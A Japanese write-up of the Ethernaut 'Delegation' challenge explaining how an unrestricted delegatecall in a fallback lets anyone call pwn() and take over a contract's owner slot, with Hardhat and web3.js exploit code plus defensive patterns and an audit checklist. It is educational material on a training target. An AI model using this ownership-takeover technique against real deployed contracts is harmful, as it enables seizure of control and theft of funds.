AiAda Docs / Smart Contract Writeups

Appearance

Return to top
On this page

Solidityのdelegatecallと権限昇格攻撃：Ethernaut「Delegation」チャレンジ詳細解説

はじめに

Ethereumスマートコントラクトのセキュリティは、ブロックチェーン開発において最も重要な課題の一つです。OpenZeppelinが提供するEthernautの「Delegation」チャレンジは、Solidityの低レベル関数delegatecallの誤用によって発生する深刻なセキュリティ脆弱性を学ぶための優れた教材です。本記事では、このチャレンジの技術的背景、攻撃手法、および防御策について詳細に解説します。

チャレンジ概要と技術的背景

問題設定

「Delegation」チャレンジでは、与えられたDelegationコントラクトインスタンスの所有権（owner）を奪取することが目標です。一見すると、Delegationコントラクトには所有権を変更する関数が存在しないように見えますが、delegatecallの特性を利用することで攻撃が可能となります。

コントラクト構造の分析

提供されたコントラクトは2つの部分から構成されています：

  1. Delegateコントラクト：所有権を変更するpwn()関数を持つシンプルなコントラクト
  2. Delegationコントラクト：Delegateインスタンスへの参照を持ち、fallback関数を通じてdelegatecallを実行するコントラクト

delegatecallの深層理解

基本的な動作原理

delegatecallはSolidityの低レベル関数の一つで、他のコントラクトのコードを現在のコントラクトのコンテキスト（ストレージ、バランス、アドレスなど）で実行します。通常のcallとの最大の違いは、実行コンテキストが呼び出し元コントラクトに維持される点です。

solidity
// delegatecallの基本構文
(bool success, bytes memory data) = targetAddress.delegatecall(abi.encodeWithSignature("functionName(uint256)", arg1));

ストレージレイアウトの重要性

delegatecallを使用する際に最も重要な概念はストレージレイアウトです。Solidityコントラクトのストレージはスロットベースで管理され、delegatecallで実行される関数は呼び出し元コントラクトのストレージスロットを操作します。

solidity
// ストレージレイアウトの例
contract StorageExample {
    // スロット0: address型のowner変数
    address public owner;
    
    // スロット1: uint256型のvalue変数
    uint256 public value;
    
    // 各変数は宣言順にストレージスロットに割り当てられる
}

脆弱性の詳細分析

コントラクトコードの再確認

攻撃対象のコントラクトをもう一度詳細に見てみましょう：

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    // スロット0: owner変数
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        // スロット0のownerをmsg.senderで上書き
        owner = msg.sender;
    }
}

contract Delegation {
    // スロット0: owner変数（Delegateコントラクトと同じスロット位置）
    address public owner;
    
    // スロット1: delegate変数（address型として扱われる）
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        // すべての呼び出しをdelegatecallでDelegateコントラクトに転送
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

脆弱性の核心

脆弱性の核心は以下の点にあります：

  1. ストレージレイアウトの一致：DelegateとDelegationコントラクトはどちらも最初のストレージ変数がaddress public ownerです
  2. 無制限なdelegatecall：fallback関数がすべてのmsg.dataを無条件にdelegatecallで転送します
  3. コンテキストの維持：delegatecallはDelegationコントラクトのコンテキストでDelegateのコードを実行します

攻撃手法の詳細実装

攻撃の理論的根拠

Delegationコントラクトのfallback関数は、受信したすべてのメッセージデータ（msg.data）をDelegateコントラクトにdelegatecallで転送します。Delegateコントラクトのpwn()関数はowner = msg.senderを実行しますが、これはdelegatecallのコンテキストではDelegationコントラクトのストレージスロット0（owner変数）を変更することになります。

攻撃コードの詳細解説

提供されたテストコードを詳細に分析します：

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Delegation, Delegate } from "../typechain-types";

describe("Delegation", function () {
  describe("Delegation testnet sepolia", function () {
    it("testnet sepolia Delegation owner", async function () {
      // 攻撃対象のDelegationコントラクトアドレス
      const DELEGATION_ADDRESS = "0x...";
      
      // DelegateコントラクトのABI（Application Binary Interface）
      // pwn()関数の呼び出しに必要な情報
      const DELEGATE_ABI = [
        "function pwn() external",
        "function owner() external view returns (address)"
      ];

      // 攻撃者のウォレットを取得
      const challenger = await ethers.getNamedSigner("deployer");
      
      // DelegationコントラクトをDelegateコントラクトとして扱う
      // 実際にはDelegationアドレスに対して、DelegateのABIを使用
      const delegateContract = new ethers.Contract(
        DELEGATION_ADDRESS,  // 実際のDelegationコントラクトアドレス
        DELEGATE_ABI,         // DelegateコントラクトのABI
        challenger            // 攻撃者の署名者
      );
      
      // pwn()関数を呼び出す
      // これによりDelegationのfallback関数がトリガーされ、
      // delegatecallを通じてpwn()が実行される
      const tx = await delegateContract.pwn();
      await tx.wait();

      // 所有権が変更されたことを確認
      const delegationOwner = await delegateContract.owner();
      expect(delegationOwner).to.be.equals(challenger.address);
    });
  });
});

攻撃の実行フロー

  1. 攻撃者がDelegationコントラクトのアドレスに対してpwn()関数の呼び出しを試みる
  2. Delegationコントラクトにはpwn()関数が存在しないため、fallback関数が実行される
  3. fallback関数はmsg.data（pwn()関数の関数セレクタ）をdelegatecallでDelegateコントラクトに転送
  4. Delegateコントラクトのpwn()関数がDelegationコントラクトのコンテキストで実行される
  5. owner = msg.senderが実行され、Delegationコントラクトのowner変数が攻撃者のアドレスに変更される

関数セレクタの重要性

関数セレクタとは

Solidityでは、関数呼び出しは4バイトの関数セレクタで識別されます。関数セレクタは関数シグネチャのKeccak256ハッシュの最初の4バイトです。

solidity
// pwn()関数のセレクタ計算
bytes4(keccak256("pwn()")) = 0xdd365b8b

// 実際の関数呼び出しデータ
msg.data = 0xdd365b8b

手動での攻撃実行

Ethers.jsを使用せずに、生のトランザクションで攻撃を実行する方法：

javascript
// Web3.jsを使用した例
const Web3 = require('web3');
const web3 = new Web3('https://sepolia.infura.io/v3/YOUR_INFURA_KEY');

// pwn()関数の関数セレクタ
const pwnSelector = web3.utils.sha3('pwn()').slice(0, 10); // 0x + 8文字

// トランザクションの作成
const tx = {
  to: delegationAddress,
  data: pwnSelector,
  from: attackerAddress,
  gas: 100000
};

// トランザクションの送信
web3.eth.sendTransaction(tx)
  .on('receipt', console.log);

セキュリティ対策とベストプラクティス

delegatecallの安全な使用方法

delegatecallを使用する際の安全対策：

solidity
// 安全なdelegatecallの実装例
contract SafeDelegation {
    address public owner;
    address public libraryAddress;
    
    constructor(address _libraryAddress) {
        owner = msg.sender;
        libraryAddress = _libraryAddress;
    }
    
    // ホワイトリスト方式での関数制限
    function executeDelegateCall(bytes memory _data) public onlyOwner {
        // 許可された関数のみ実行を許可
        bytes4 funcSelector = bytes4(_data);
        require(isAllowedFunction(funcSelector), "Function not allowed");
        
        (bool success, ) = libraryAddress.delegatecall(_data);
        require(success, "Delegatecall failed");
    }
    
    // 許可された関数のチェック
    function isAllowedFunction(bytes4 _selector) internal pure returns (bool) {
        return _selector == bytes4(keccak256("safeFunction1()")) ||
               _selector == bytes4(keccak256("safeFunction2(uint256)"));
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }
}

ストレージレイアウトの分離

ライブラリコントラクトとメインコントラクトのストレージを分離する方法：

solidity
// ストレージレイアウトを分離した安全な設計
library SafeLibrary {
    // ライブラリは状態変数を持たない
    // すべてのデータは引数として受け取る
    
    function safeOperation(address storageOwner) external {
        // 必要な処理を実行
        // ストレージ操作は呼び出し元コントラクトの責任
    }
}

contract MainContract {
    address public owner;
    
    function callLibrary() public {
        // ライブラリ関数をdelegatecallで呼び出す
        // ストレージレイアウトの衝突リスクを低減
        // ただし、完全な安全を保証するものではない
    }
}

実世界での影響と類似事例

歴史的なインシデント

delegatecallの誤用による実際のハッキング事例：

  1. Parity Multisig Wallet Hack (2017年): ライブラリコントラクトのdelegatecall脆弱性を利用され、約3000万ドル相当のETHが盗難されました。

  2. DELEGATECALLを利用した権限昇格攻撃: 多くのプロキシパターンを実装したコントラクトで同様の脆弱性が報告されています。

監査時のチェックポイント

スマートコントラクト監査におけるdelegatecall関連のチェック項目：

  1. 無制限のdelegatecallが存在しないか
  2. ストレージレイアウトの整合性が保たれているか
  3. 呼び出し可能な関数が適切に制限されているか
  4. ライブラリコントラクトがアップグレード可能な場合の影響評価

まとめと教訓

Ethernautの「Delegation」チャレンジから得られる重要な教訓：

  1. delegatecallは強力だが危険：コンテキストを維持する特性は便利ですが、誤用すると深刻な脆弱性になります。

  2. ストレージレイアウトの一貫性：delegatecallを使用する場合、呼び出し元と呼び出し先のコントラクトのストレージレイアウトが完全に一致している必要があります。

  3. 入力検証の重要性：外部からの任意のmsg.dataを無条件にdelegatecallで転送することは極めて危険です。

  4. 最小権限の原則：コントラクトが公開する機能は必要最小限に留め、特に状態変更操作は厳重に保護すべきです。

このチャレンジは、Solidityの低レベル機能の深い理解と、それらを安全に使用する方法を学ぶための貴重な機会を提供しています。ブロックチェーン開発者として、これらの概念を理解することは、安全なスマートコントラクトを開発する上で不可欠なスキルです。

Built with AiAda

Copyright © 2026